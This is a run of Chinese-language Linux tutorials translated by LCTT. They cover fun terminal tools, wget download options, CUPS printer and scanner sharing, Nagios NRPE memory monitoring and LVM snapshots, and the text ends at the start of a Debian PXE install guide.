本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4127-1.html

Linux:终端中的乐趣:6个有趣的Linux命令行工具

之前, 我们展示了一些有关有趣的 Linux 命令行命令的文章, 这些文章告诉我们, Linux 并不像看起来那样复杂, 如果我们知道如何使用的话, 反而会非常有趣. Linux 命令行可以简洁而完美地执行一些复杂的任务, 并且十分有趣.

前者包含了20个有趣的 Linux 命令/脚本(和子命令), 得到了读者的高度赞扬. 而另一篇文章虽然没有之前那篇文章那么受欢迎,包含了一些命令/脚本和改进,让你能够玩儿转文本文件、单词和字符串.

Linux:终端中的乐趣:6个有趣的Linux命令行工具
Linux:终端中的乐趣:6个有趣的Linux命令行工具

这篇文章介绍了一些新的有趣命令和单行脚本,一定会让你感到欣喜.

1. pv 命令

你也许曾经看到过电影里的模拟字幕, 它们好像是被实时敲打出来的. 如果我么能在终端里实现这样的效果, 那不是很好?

这是可以做到的. 我们可以安装通过 ‘apt‘ 或者 ‘yum‘ 工具在 Linux 系统上安装 ‘pv‘ 命令. 安装命令如下.

# yum install pv            [在基于 RedHat 的系统上]
# sudo apt-get install pv           [在基于 Debian 的系统上]

pv‘ 命令安装成功之后, 我们尝试运行下面的单行命令在终端查看实时文字输出的效果.

$ echo "Tecmint[dot]com is a community of Linux Nerds and Geeks" | pv -qL 10
Linux:终端中的乐趣:6个有趣的Linux命令行工具
Linux:终端中的乐趣:6个有趣的Linux命令行工具

正在运行的 pv 命令

注意: ‘q‘ 选项表示’安静’,没有其他输出信息, ‘L‘ 选项表示每秒转化的字节数上限. 调整数字的值(必须是整数)可以以另外的方向显示文字效果。

2. toilet 命令

用单行脚本命令 ‘toilet‘ 在终端里显示一个添加边框的文本怎么样呢?同样, 你必须保证 ‘toilet‘ 已经安装在你的电脑上. 如果没有的话, 请使用 apt 或 yum 安装. (译者注: ‘toilet’ 并不在 Fedora 的官方仓库里, 你可以从 github 上下载源代码来安装)

$ while true; do echo “$(date | toilet -f term -F border –Tecmint)”; sleep 1; done
Linux:终端中的乐趣:6个有趣的Linux命令行工具
Linux:终端中的乐趣:6个有趣的Linux命令行工具

正在运行的 toilet 命令

注意: 上面的脚本需要使用 ctrl+z 键来暂停.

3. rig 命令

这个命令每次生成一个随机的身份信息和地址. 要运行这个命令, 你需要用 apt 或 yum 安装 ‘rig‘. (译者注: ‘rig’ 不在 Fedora 的官方仓库中, 我只在 rpmseek 上找到了 Ubuntu 的 deb 包, 可以使用它来安装.)

# rig
Linux:终端中的乐趣:6个有趣的Linux命令行工具
Linux:终端中的乐趣:6个有趣的Linux命令行工具

正在运行的 rig 命令

4. aview 命令

你觉得在终端用 ASCII 格式显示图片怎么样? 我们必须用 apt 或 yum 安装软件包 ‘aview‘. (译者注: ‘avieww’ 不在 Fedora 的官方仓库中, 可以从 aview 的项目主页上下载源代码来安装. ) 在当前工作目录下有一个名为 ‘elephant.jpg‘ 的图片, 我想用 ASCII 模式在终端查看.

$ asciiview elephant.jpg -driver curses
Linux:终端中的乐趣:6个有趣的Linux命令行工具
Linux:终端中的乐趣:6个有趣的Linux命令行工具

正在运行的 aview 命令

5. xeyes 命令

在上一篇文章中, 我们介绍了 ‘oneko‘ 命令, 它可以显示一个追随鼠标指针运动的小老鼠. ‘xeyes‘ 是一个类似的图形程序, 当你运行它, 你可以看见小怪物的两个眼球追随你的鼠标运动.

$ xeyes
Linux:终端中的乐趣:6个有趣的Linux命令行工具
Linux:终端中的乐趣:6个有趣的Linux命令行工具

正在运行的 xeyes 命令

6. cowsay 命令

你是否还记得上一次我们介绍的这个命令? 它可以显示一段预先确定的文本和一个字符构成的奶牛. 如果你想使用其它动物来代替奶牛怎么办? 查看可用的动物列表:

$ cowsay -l

如何用ASCII描绘蛇吞象?

$ cowsay -f elephant-in-snake Tecmint is Best
Linux:终端中的乐趣:6个有趣的Linux命令行工具
Linux:终端中的乐趣:6个有趣的Linux命令行工具

正在运行的 cowsay 命令

换作山羊又会怎样?

$ cowsay -f gnu Tecmint is Best
Linux:终端中的乐趣:6个有趣的Linux命令行工具
Linux:终端中的乐趣:6个有趣的Linux命令行工具

正在运行的 山羊cowsay 命令

今天就到这里吧. 我将带着另一篇有趣的文章回来. 不要忘记在下面留下您的评论.


via: http://www.tecmint.com/linux-funny-commands/

作者:Avishek Kumar 译者:wangjiezhe 校对:Caroline

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4128-1.html

Linux:wget 命令实例

wget是Linux/Unix命令行文件下载器,它是下载网站上文件的免费的非交互下载工具,它支持HTTPHTTPSFTP协议,也支持通过HTTP代理检索。Wget是非交互的,这就是说它可以在用户没有登录到系统时在后台工作。

Linux:wget 命令实例
Linux:wget 命令实例

在本帖中,我们将讨论wget命令的一些不同使用实例。

实例1 :下载单个文件

# wget http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso

该命令会下载CentOS 7 ISO文件到用户当前工作目录中。

实例2:续传分段下载文件

总有那么一些场景,当我们开始下载一个大文件时,中途互联网却断开了。那样的话,我们可以使用wget命令的‘-c’选项,让下载从断点续传。

# wget -c http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso

实例3:后台下载文件

我们可以通过在wget命令中使用‘-b’选项来让它在后台下载文件。

linuxtechi@localhost:~$ wget -b http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/
CentOS-7.0-1406-x86_64-DVD.iso
Continuing in background, pid 4505.
Output will be written to ‘wget-log’.

正如我们上面所见,下载进程被捕获到用户当前目录中的‘wget-log’文件中。

linuxtechi@localhost:~$ tail -f wget-log
2300K .......... .......... .......... .......... .......... 0% 48.1K 18h5m
2350K .......... .......... .......... .......... .......... 0% 53.7K 18h9m
2400K .......... .......... .......... .......... .......... 0% 52.1K 18h13m
2450K .......... .......... .......... .......... .......... 0% 58.3K 18h14m
2500K .......... .......... .......... .......... .......... 0% 63.6K 18h14m
2550K .......... .......... .......... .......... .......... 0% 63.4K 18h13m
2600K .......... .......... .......... .......... .......... 0% 72.8K 18h10m
2650K .......... .......... .......... .......... .......... 0% 59.8K 18h11m
2700K .......... .......... .......... .......... .......... 0% 52.8K 18h14m
2750K .......... .......... .......... .......... .......... 0% 58.4K 18h15m
2800K .......... .......... .......... .......... .......... 0% 58.2K 18h16m
2850K .......... .......... .......... .......... .......... 0% 52.2K 18h20m

实例4:限制下载速率

默认情况下,wget命令尝试以全速下载,但是有时候你可能使用的是共享互联网,那么如果你尝试使用wget来下载庞大的文件时,就会把其它用户的网络拖慢。这时,你如果使用‘-limit-rate’选项来限制下载速率,就可以避免这种情况的发生。

#wget --limit-rate=100k http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso

在上例中,下载速率被限制到了100k。

实例5:使用‘-i’选项来下载多个文件

如果你想要使用wget命令来下载多个文件,那么首先要创建一个文本文件,并将所有的URL添加到该文件中。

# cat download-list.txt
url1
url2
url3
url4

现在,发出以下命令吧:

# wget -i download-list.txt

实例6:增加重试次数

我们可以使用‘-tries’选项来增加重试次数。默认情况下,wget命令会重试20次,直到下载成功。

该选项在你下载一个大文件的过程中互联网连接发生问题时十分有用,因为在那种情况下,会增加下载失败的几率。

# wget --tries=75 http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso

实例7:使用-o选项来重定向wget日志到文件

我们可以使用‘-o’选项来重定向wget命令的日志到一个日志文件。

#wget -o download.log http://mirror.nbrc.ac.in/centos/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-DVD.iso

上面的命令会在用户当前目录下创建download.log文件。

实例8:下载整个网站用于本地查看

# wget --mirror -p --convert-links -P ./ website-url

鉴于

  • –mirror : 开启适用于镜像的选项。
  • -p : 下载所有能正确显示指定HTML网页的全部必要文件。
  • –convert-links : 下载完成后,转换文档中的链接以用于本地查看。
  • P ./Local-Folder : 保存所有文件和目录到指定的目录。

实例9:下载过程中拒绝文件类型

当你正打算下载整个网站时,我们可以使用‘-reject’选项来强制wget不下载图片。

# wget --reject=png Website-To-Be-Downloaded

实例10:使用wget -Q设置下载配额

我们可以使用‘-Q’选项强制wget命令在下载大小超过特定大小时退出下载。

# wget -Q10m -i download-list.txt

注意,配额不会对单个文件的下载产生影响。所以,如果你指定wget -Q10m ftp://wuarchive.wustl.edu/ls-lR.gz,ls-lR.gz 的全部内容都会被下载。这在下载命令行指定的多个URL时也一样。然而,在递归或从一个输入文件检索时,还是值得一用。因此,你可以安全地输入‘wget -Q10m -i download-list.txt’,在超过配额时,下载会退出。

实例11:从密码保护的网站下载文件

# wget --ftp-user= --ftp-password= Download-URL

另外一种指定用户名和密码的方式是在URL中。

任一方法都将你的密码揭露给了那些运行“ps”命令的人。要防止密码被查看到,将它们存储到.wgetrc或.netrc中,并使用“chmod”设置合适的权限来保护这些文件不让其他用户查看到。如果密码真的很重要,不要在它们还在文件里躺着的时候走开,在Wget开始下载后,编辑该文件,或者删除它们。


via: http://www.linuxtechi.com/wget-command-practical-examples/

作者:Pradeep Kumar 译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4129-1.html

Linux:在Debian上设置USB网络打印机和扫描仪服务器

假定你想要在你的家庭/办公网络中设置一台Linux打印服务器,而你手头上却只有USB打印机可用(因为他们比那些有着内建网络接口或无线模块的打印机要便宜得多)。此外,如果这些设备中有一台是一体化的,而你也想要通过网络共享其整合的扫描仪,这该怎么办?在本文中,我将介绍怎样安装并共享一台USB一体机(Epson CX3900喷墨打印机和扫描仪),一台USB激光打印机(Samsung ML-1640),以及作为锦上添花,配置一台PDF打印机。所有这一切,我们都将在GNU/Linux Debian 7.2 [Wheezy]服务器中实现。

尽管这些打印机看起来有点老旧了(我是在2007年买的Epson一体机,2009年买的激光打印机),但我仍然相信我从安装过程中学到的东西也一样能应用到该品牌的新产品和其它品牌中去:有一些预编译的.deb包驱动可用,而其它驱动可以从仓库中直接安装。毕竟,它是重要的基本原则。

Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

先决条件

要设置网络打印机和扫描仪,我们将使用CUPS,它是一个用于Linux/UNIX/OSX的开源打印系统。

# aptitude install cups cups-pdf

排障提示:根据你的系统状况(这个问题很可能在手动安装包失败后,或者缺少依赖包的时候会发生),在安装cups和cups-pdf前端包管理系统可能会提示你卸载许多包以尝试解决当前依赖问题。如果这种情况真的发生,你只有两个选择:

1)通过另外一个前端包管理系统安装包,如apt-get。注意,并不建议进行这样的处理,因为它不会解决当前的问题。

2)运行以下命令:aptitude update && aptitude upgrade。该命令会修复此问题,并同时更新包到最新版本。

配置CUPS

为了能够访问CUPS的网页接口,我们需要至少对cupsd.conf文件(用于CUPS的服务器配置文件)进行一次最低限度的修改。在进行修改前,让我们为cupsd.conf做个备份副本:

# cp cupsd.conf cupsd.conf.bkp

然后,编辑原始文件(下面只显示了最为有关联的部分):

  • Listen:监听指定的地址和端口,或者域套接口路径。
  • Location /path:为该名字所代表的位置指定访问控制。
  • Order:指定HTTP访问控制顺序(allow,deny或deny,allow)。Order allow,deny是说允许规则先于(并且优先处理)拒绝规则。
  • DefaultAuthType (也可以用AuthType): 指定默认使用的认证类型。Basic是指使用/etc/passwd文件来认证CUPS中的用户。
  • DefaultEncryption:指定认证请求所使用的加密类型。
  • WebInterface:指定是否启用网页接口。

    # Listen for connections from the local machine
    Listen 192.168.0.15:631
    # Restrict access to the server
    
      Order allow,deny
      Allow 192.168.0.0/24
    
    # Default authentication type, when authentication is required
    DefaultAuthType Basic
    DefaultEncryption IfRequested
    # Web interface setting
    WebInterface Yes
    # Restrict access to the admin pages
    
      Order allow,deny
      Allow 192.168.0.0/24
    

现在,让我们重启CUPS来应用修改:

# service cups restart

为了允许另外一个用户(除了root之外)修改打印机设置,我们必须像下面这样添加他/她到lp(授权对打印机硬件的访问并启用用户管理打印任务)和lpadmin(拥有打印优先)组。如果在你当前网络设置没有必要或不需要该设置,你可以不用理会该步骤。

# adduser xmodulo lp
# adduser xmodulo lpadmin
Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

通过网页接口配置网络打印机

1、 启动网页浏览器,并打开CUPS接口http://:Port,这里在我们的例子中是http://192.168.0.15:631:

Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

2、 转到管理标签,然后点击添加打印机

Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

3、 选择你的打印机;在本例中,EPSON Stylus CX3900 @ debian (Inkjet Inkjet Printer),然后点击继续

Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

4、 是时候为打印机取个名字,并指定我们是否想要从当前工作站共享它:

Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

5、 安装驱动——选择品牌并点击继续

Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

6、 如果打印机如果不被CUPS支持(没有在下一页中列出来),我们必须从生产厂家的网站上下载驱动(如http://download.ebz.epson.net/dsc/search/01/search/?OSC=LX),安装完后回到该页。

Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

7、 注意,预编译的.deb文件必须从我们使用的机器上发送(例如,通过sftp或scp)到打印服务器(当然,如果我们有一个直接的下载链接就更加简单了,而不用下载按钮了):

8、 在将.deb文件放到服务器上后,我们就可以安装了:

 # dpkg -i epson-inkjet-printer-escpr_1.4.1-1lsb3.2_i386.deb

排障提示:如果lsb包(一个第三方Linux应用编写者可以依赖标准核心系统)没有安装,那么驱动会无法安装:

我们将安装lsb,然后尝试再次安装打印机驱动:

# aptitude install lsb
# dpkg -i epson-inkjet-printer-escpr_1.4.1-1lsb3.2_i386.deb

9、 现在,我们可以返回到第五步并安装打印机:

Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

配置网络扫描仪

现在,我们将继续配置打印机服务器来共享扫描仪。首先,安装xsane,这是SANE——扫描仪快捷访问的前端:

# aptitude install xsane

接下来,让我们编辑/etc/default/saned文件以启用saned服务:

# Set to yes to start saned
RUN=yes

最后,我们将检查saned是否已经在运行了(很可能不在运行哦——那么我们将启动服务并再来检查):

# ps -ef | grep saned | grep -v grep
# service saned start

配置另一台网络打印机

通过CUPS,你可以配置多台网络打印机。让我们通过CUPS配置一台额外的打印机:Samsung ML-1640,它是一台USB打印机。

splix包包含了单色(ML-15xx, ML-16xx, ML-17xx, ML-2xxx)和彩色(CLP-5xx, CLP-6xx)Samsung打印机驱动。此外,此包的详细信息中指出,一些新命名的Samsung打印机,如Xerox Phaser 6100也适用此驱动。

# aptitude install splix

然后我们将使用CUPS网页接口来安装打印机,就像前面一样:

Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

安装PDF打印机

接下来,让我们在打印服务器上配置一台PDF打印机。这样,你就可以将来自客户计算机的文档转换成PDF格式了。

由于我们已经安装了cups-pdf包,PDF打印机就已经自动安装好了,可以通过网页接口验证:

Linux:在Debian上设置USB网络打印机和扫描仪服务器
Linux:在Debian上设置USB网络打印机和扫描仪服务器

当选定PDF打印机后,文档将被写入可配置目录(默认是~/PDF),或者也可以通过后续处理命令进行复制。

在下一篇文章中,我们将配置桌面客户端来通过网络访问打印机和扫描仪。


via: http://xmodulo.com/2014/08/usb-network-printer-and-scanner-server-debian.html

作者:Gabriel Cánepa 译者:GOLinux 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4139-1.html

Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪

之前的文章中, 我们讨论过如何在Linux服务器安装各种各样的打印机(当然也包括网络扫描仪)。今天我们将来处理另一端:如何通过桌面客户端来访问网络打印机/扫描仪。

网络环境

在这个安装教程中,我们的服务器(Debian Wheezy 7.2版本)的IP地址是192.168.0.10,我们的客户端(Ubuntu 12.04版本)的IP地址是192.168.0.105.注意这两台机器是在同一个网段(192.168.0.0/24).如果我们想允许打印机访问其它网段,我们需要在服务器上修改cupsd.conf文件的以下部分:


  Order allow,deny
  Allow localhost
  Allow from XXX.YYY.ZZZ.*

(在上述例子中,我们授予打印机从本地或者任何系统能够访问打印机,这些系统的IPv4地址以XXX.YYY.ZZZ开始。

为了验证哪些打印机可以在我们的服务器上适用,我们也可以在服务器上使用lpstat命令,或者浏览网页https://192.168.0.10:631/printers page.

root@debian:~# lpstat -a

EPSON_Stylus_CX3900 accepting requests since Mon 18 Aug 2014 10:49:33 AM WARST
PDF accepting requests since Mon 06 May 2013 04:46:11 PM WARST
SamsungML1640Series accepting requests since Wed 13 Aug 2014 10:13:47 PM WARST

在Ubuntu桌面安装网络打印机

在我们的Ubuntu 12.04的客户端,我们将打开”Printing”菜单(Dash -> Printing).你会注意到在其它发行版中,这个名字也许会有一点差别(例如会叫做”Printers” 或者 “Print & Fax”):

Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪
Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪

还没有打印机添加到我们的客户端:

Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪
Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪

下面是在Ubuntu桌面客户端安装一台网络打印机的一些步骤。

1) “Add”按钮将弹出 “New Printer” 菜单。我们将选择”Network printer” -> “Find Network Printer”并输入我们服务器的IP地址,接着点击”Find”:

2) 在最下面我们将会看到可使用的打印机的名称。我们来选择这台三星打印机并按”Forward”:

3) 我们将会被要求填写一些关于我们打印机的信息。当我们输入完成时,将点击 “Apply”按钮。

Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪
Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪

4) 我们接下来将被询问是否打印一张测试页。让我们点击”Print test page”吧:

Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪
Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪

这个打印任务将被创建为本地id 2:

5)适用我们服务器上的CUPS网络借口,我们可以观察到打印任务已经提交成功了(打印机 -> SamsungML1640系列 -> 显示完成任务):

Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪
Linux:如何在ubuntu桌面配置一个网络打印机和扫描仪

我们也可以通过在打印机服务器上运行以下命令显示同样信息:

 root@debian:~# cat /var/log/cups/page_log | grep -i samsung

SamsungML1640Series root 27 [13/Aug/2014:22:15:34 -0300] 1 1 - localhost Test Page - -
SamsungML1640Series gacanepa 28 [18/Aug/2014:11:28:50 -0300] 1 1 - 192.168.0.105 Test Page - -
SamsungML1640Series gacanepa 29 [18/Aug/2014:11:45:57 -0300] 1 1 - 192.168.0.105 Test Page - -

这个page_log日志显示每一页被打印过的信息,只包括哪些用户发送这些打印任务,打印日期&时间,以及客户端的IPv4地址。

要安装Epson喷墨和PDF打印机,我们只需重复第1-5的步骤即可,并每一次选择左边的打印队列。例如,在下图中选择PDF打印机:

然而,请注意到根据CUPS-PDF 文档中,根据默认:

PDF文件将会被放置在打印作业的所有者命名的子目录内。在这个案例中,打印作业的所有者不能被识别(i.e.不会存在服务器中)输出的内容被放置在匿名操作的文件中。

这些默认的文件夹可以通过改变在/etc/cups/cups-pdf目录中的Out值和AnonDirName变量来修改。这里,${HOME}被扩展到用户的家目录中:

Out ${HOME}/PDF
AnonDirName /var/spool/cups-pdf/ANONYMOUS

来源:https://linux.cn/article-4140-1.html

Linux:如何用Nagios远程执行插件(NRPE)来检测服务器内存使用率

先前的教程中,我们已经见到了如何在Nagios设置中设置Nagios远程执行插件(NRPE)。然而,监控内存使用率的脚本和插件并没有在原生的Nagios中。本篇中,我们会看到如何配置NRPE来监控远程服务器上的内存使用率。

Linux:如何用Nagios远程执行插件(NRPE)来检测服务器内存使用率
Linux:如何用Nagios远程执行插件(NRPE)来检测服务器内存使用率

我们要用的监控内存的脚本在Nagios 市场上,在创建者的Github仓库中也可以找到。

假设我们已经安装了NRPE,我们首先在我们想要监控的服务器上下载脚本。

准备远程服务器

在 Debain/Ubuntu 中:

# cd /usr/lib/nagios/plugins/
# wget https://raw.githubusercontent.com/justintime/nagios-plugins/master/check_mem/check_mem.pl
# mv check_mem.pl check_mem
# chmod +x check_mem

在 RHEL/CentOS 中:

# cd /usr/lib64/nagios/plugins/ (or /usr/lib/nagios/plugins/ for 32-bit)
# wget https://raw.githubusercontent.com/justintime/nagios-plugins/master/check_mem/check_mem.pl
# mv check_mem.pl check_mem
# chmod +x check_mem

你可以通过手工在本地运行下面的命令来检查脚本的输出是否正常。当使用NRPE时,这条命令应该会检测空闲的内存,当可用内存小于20%时会发出警告,并且在可用内存小于10%时会生成一个严重警告。

# ./check_mem -f -w 20 -c 10

OK - 34.0% (2735744 kB) free.|TOTAL=8035340KB;;;; USED=5299596KB;6428272;7231806;; FREE=2735744KB;;;; CACHES=2703504KB;;;;

如果你看到像上面那样的输出,那就意味这命令正常工作着。

现在脚本已经准备好了,我们要定义NRPE检查内存使用率的命令了。如上所述,命令会检查可用内存,在可用率小于20%时发出警报,小于10%时发出严重警告。

# vim /etc/nagios/nrpe.cfg

对于 Debian/Ubuntu:

command[check_mem]=/usr/lib/nagios/plugins/check_mem  -f -w 20 -c 10

对于 RHEL/CentOS 32 bit:

command[check_mem]=/usr/lib/nagios/plugins/check_mem  -f -w 20 -c 10

对于 RHEL/CentOS 64 bit:

command[check_mem]=/usr/lib64/nagios/plugins/check_mem  -f -w 20 -c 10

准备 Nagios 服务器

在Nagios服务器中,我们为NRPE定义了一条自定义命令。该命令可存储在Nagios内的任何目录中。为了让本教程简单,我们会将命令定义放在/etc/nagios目录中。

对于 Debian/Ubuntu:

# vim /etc/nagios3/conf.d/nrpe_command.cfg

define command{
        command_name check_nrpe
        command_line /usr/lib/nagios/plugins/check_nrpe -H '$HOSTADDRESS$'  -c '$ARG1$'
}

对于 RHEL/CentOS 32 bit:

# vim /etc/nagios/objects/nrpe_command.cfg

define command{
        command_name check_nrpe
        command_line /usr/lib/nagios/plugins/check_nrpe -H $HOSTADDRESS$ -c $ARG1$
        }

对于 RHEL/CentOS 64 bit:

# vim /etc/nagios/objects/nrpe_command.cfg

define command{
        command_name check_nrpe
        command_line /usr/lib64/nagios/plugins/check_nrpe -H $HOSTADDRESS$ -c $ARG1$
        }

现在我们定义Nagios的服务检查

在 Debian/Ubuntu 上:

# vim /etc/nagios3/conf.d/nrpe_service_check.cfg

define service{
        use                            local-service
        host_name                      remote-server
        service_description            Check RAM
        check_command                  check_nrpe!check_mem
}

在 RHEL/CentOS 上:

# vim /etc/nagios/objects/nrpe_service_check.cfg

define service{
        use                            local-service
        host_name                      remote-server
        service_description            Check RAM
        check_command                  check_nrpe!check_mem
}

最后我们重启Nagios服务

在 Debian/Ubuntu 上:

# service nagios3 restart

在 RHEL/CentOS 6 上:

# service nagios restart

在 RHEL/CentOS 7 上:

# systemctl restart nagios.service

故障排除

Nagios应该开始在使用NRPE的远程服务器上检查内存使用率了。如果你有任何问题,你可以检查下面这些情况。

  • 确保NRPE的端口在远程主机上是总是允许的。默认NRPE的端口是TCP 5666。
  • 你可以尝试通过执行check_nrpe 命令: /usr/lib/nagios/plugins/check_nrpe -H remote-server 手工检查NRPE操作。
  • 你同样可以尝试运行check_mem 命令:/usr/lib/nagios/plugins/check_nrpe -H remote-server –c check_mem
  • 在远程服务器上,在/etc/nagios/nrpe.cfg中设置debug=1。重启NRPE服务并检查这些日志文件,/var/log/messages (RHEL/CentOS)或者/var/log/syslog (Debain/Ubuntu)。如果有任何的配置或者权限错误,日志中应该包含了相关的信息。如果日志中没有反映出什么,很有可能是由于请求在某些端口上有过滤而没有到达远程服务器上。

总结一下,这边教程描述了我们该如何调试NRPE来监控远程服务器的内存使用率。过程只需要下载脚本、定义命令和重启服务就行了。希望这对你们有帮助。


via: http://xmodulo.com/2014/09/monitor-server-memory-usage-nagios-remote-plugin-executor.html

作者:Sarmed Rahman 译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4141-1.html

Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)

LVM快照是以空间换时间时间的方式制作的lvm卷副本。它只在lvm中工作,并只在源逻辑卷发生改变时占用快照卷的空间。如果源卷的变化达到1GB这么大,快照卷同样也会产生这样大的改变。因而,对于空间有效利用的最佳途径,就是总是进行小的修改。如果快照将存储空间消耗殆尽,我们可以使用lvextend来扩容。而如果我们需要缩减快照所占用卷的大小,可以使用lvreduce。

Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)
Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)

在LVM中录制快照

如果我们在创建快照后意外地删除了无论什么文件,我们没有必要担心,因为快照里包含了我们所删除的文件的原始文件。创建快照时,很有可能文件已经存在了。不要改变快照卷,保持创建时的样子,因为它用于快速恢复。

快照不可以用于备份选项。备份是某些数据的基础副本,因此我们不能使用快照作为备份的一个选择。

前置阅读

我的服务器设置

  • 操作系统 — 安装有LVM的CentOS 6.5
  • 服务器IP — 192.168.0.200

步骤1: 创建LVM快照

首先,使用‘vgs’命令检查卷组中的空闲空间以创建新的快照。

# vgs
# lvs

Check LVM Disk Space

检查LVM磁盘空间

正如你所见,在vgs命令输出中,我们可以看到有8GB的剩余空闲空间。所以,让我们为我的名为tecmint_datas的卷创建快照。处于演示的目的,我将会使用以下命令来创建1GB的快照卷。

# lvcreate -L 1GB -s -n tecmint_datas_snap /dev/vg_tecmint_extra/tecmint_datas

或者

# lvcreate --size 1G --snapshot --name tecmint_datas_snap /dev/vg_tecmint_extra/tecmint_datas

上面的两个命令都是干得同一件事:

  • -s – 创建快照
  • -n – 为快照命名

Create LVM Snapshot

创建LVM快照

此处,是对上面高亮要点的说明。

  1. 我在此创建的快照的大小。
  2. 创建快照。
  3. 创建快照名。
  4. 新的快照名。
  5. 要创建快照的卷。

如果你想要移除快照,可以使用‘lvremove’命令。

# lvremove /dev/vg_tecmint_extra/tecmint_datas_snap

Remove LVM Snapshot

移除LVM快照

现在,使用以下命令列出新创建的快照。

# lvs

Verify LVM Snapshot

验证LVM快照

上面的你看到了吧,成功创建了一个快照。上面我用箭头标出了快照创建的源,它就是tecmint_datas。是的,因为我已经为tecmint_datas l-volume创建了一个快照。

Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)
Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)

检查LVM快照空间

让我们添加一些新文件到tecmint_datas里头。现在卷里大概有650MB左右的数据,而我我们的快照有1GB大。因此,有足够的空间在快照卷里备份我们的修改。这里我们可以使用下面的命令来查看到,我们的快照当前的状态。

# lvs
Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)
Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)

检查快照状态

你看到了,现在已经用掉了51%的快照卷,你要对你的文件作更多的修改都没有问题。使用下面的命令来查看更多详细信息。

# lvdisplay vg_tecmint_extra/tecmint_data_snap
Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)
Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)

查看快照信息

再来对上面图片中高亮的要点作个清楚的说明。

  1. 快照逻辑卷名称。
  2. 当前使用的卷组名。
  3. 读写模式下的快照卷,我们甚至可以挂载并使用该卷。
  4. 快照创建时间。这个很重要,因为快照将跟踪此时间之后的每个改变。
  5. 该快照属于tecmint_datas逻辑卷。
  6. 逻辑卷在线并可用。
  7. 我们录制快照的源卷大小。
  8. 写时复制表大小,Cow = copy on Write,这是说对tecmint_data卷所作的任何改变都会写入此快照。
  9. 当前使用的快照大小,我们的tecmintdata有10GB,而我们的快照大小是1GB,这就意味着我们的数据大概有650MB。所以,如果tecmintdatas中的文件增长到2GB,现在的51%中的内容将增加到超过所分配的快照的大小,当然,我们在创建快照时会出现问题。这就意味着我们需要扩展逻辑卷大小(快照逻辑卷)
  10. 给出快照组块的大小。

现在,让我们复制超过1GB的文件到tecmint_datas。让我们看看会发生什么。如果你那么做了,你将会见到‘Input/output error’这样的错误信息,它告诉你快照超出空间大小了。

Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)
Linux:在 LVM中 录制逻辑卷快照并恢复(第三部分)

添加文件到快照

如果该逻辑卷满了,它就会自动丢失新的数据,我们就不能再使用了,就算我们去扩展快照卷的大小也不行。最好的方法就是在创建快照时,创建一个和源一样大小的快照卷。tecmint_datas的大小是10GB,如果我们创建一个10GB大小的快照,它就永远都不会像上面那样超载,因为它有足够的空间来录制你的逻辑卷的快照。

来源:https://linux.cn/article-4145-1.html

Linux:通过网络方式安装 Debian 7(Wheezy)

本教程将指引你直接通过使用DNSMASQ作为PXE服务器(预启动执行环境),以网络方式安装Debian 7(Wheezy),此种情况是假定你的服务器不提供任何CD/DVD/USB介质驱动器,或者它只能通过相连的监视器、键盘和鼠标操作。

Linux:通过网络方式安装 Debian 7(Wheezy)
Linux:通过网络方式安装 Debian 7(Wheezy)

客户机上的Debian 7网络安装

DNSMASQ是一个轻量级网络基础架构服务器,它可以通过内建的DNS、DHCP和TFTP服务器提供如DNS、DHCP和网络启动等关键服务。

